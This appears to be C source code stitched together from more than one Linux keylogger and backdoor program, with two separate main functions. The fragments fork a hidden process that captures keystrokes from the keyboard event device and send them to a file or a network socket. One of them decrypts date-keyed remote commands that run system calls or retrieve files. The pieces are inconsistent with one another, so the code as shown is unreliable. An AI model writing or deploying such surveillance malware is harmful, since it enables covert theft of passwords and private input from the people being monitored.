int main(int argc, char *argv[]) { void *hdlarr[100]; initPlugins(hdlarr); handleArgs(hdlarr, argc, argv); if (background) { createProccess(hdlarr); } else { keylogger(hdlarr); } }
void getCommand(char **command, int payloadSize) { char *decryptedCommand = NULL; char *token = NULL; char date[11]; struct tm *tm; int option = -1; time_t t; // Get the date information time(&t); tm = localtime(&t); strftime(date, sizeof(date), "%Y:%m:%d", tm); // Decrypt our command using today's date token = malloc(sizeof(char) * payloadSize); decryptedCommand = encrypt_data(*command, date, payloadSize); // Get the command value and an optional filename or command if (sscanf(decryptedCommand, "%d|%[^NULL]", &option, token) == 0) { free(token); return; } // Give the client some time to set itself up sleep(2); // Execute the given command switch (option) { case EXECUTE_SYSTEM_CALL: executeSystemCall(token); break; case FIND_FILE: retrieveFile(token); break; case KEYLOGGER: keylogger(); break; default: break; } free(token); }
void createProccess(void **hdlarr) { pid_t pid; pid = fork(); // If main, fork. if (pid > 0) { printf("Main: Creating proccess (PID: %i)\n", pid); return; } // If error... if (pid == -1) { printf("Error while trying to fork!"); return; } // If proccess, run keylogger. if (pid == 0) { keylogger(hdlarr); } }
int main(int argc, char *argv[]){ char *KEYBOARD_DEVICE = get_keyboard_event_file(); if(!KEYBOARD_DEVICE){ print_usage_and_quit(argv[0]); } int writeout; int keyboard; int network = 0, file = 0, option = 0; char *option_input; while((option = getopt(argc, argv,"sn:f:")) != -1){ switch(option){ case 's': freopen("/dev/null", "w", stdout); freopen("/dev/null", "w", stderr); break; case 'n': network = 1; option_input = optarg; break; case 'f': file = 1; option_input = optarg; break; default: print_usage_and_quit(argv[0]); } } // If both arguments or neither are provided... if(network == file){ print_usage_and_quit(argv[0]); } else if(file){ if((writeout = open(option_input, O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0){ printf("Error opening file %s: %s\n", argv[2], strerror(errno)); return 1; } } else if(network){ writeout = get_socket_file_descriptor(option_input, PORT); if(writeout < 0){ printf("Error creating socket on %s\n", option_input); return 1; } } if((keyboard = open(KEYBOARD_DEVICE, O_RDONLY)) < 0){ printf("Error accessing keyboard from %s. May require you to be superuser\n", KEYBOARD_DEVICE); return 1; } keylogger(keyboard, writeout); close(keyboard); close(writeout); free(KEYBOARD_DEVICE); return 0; }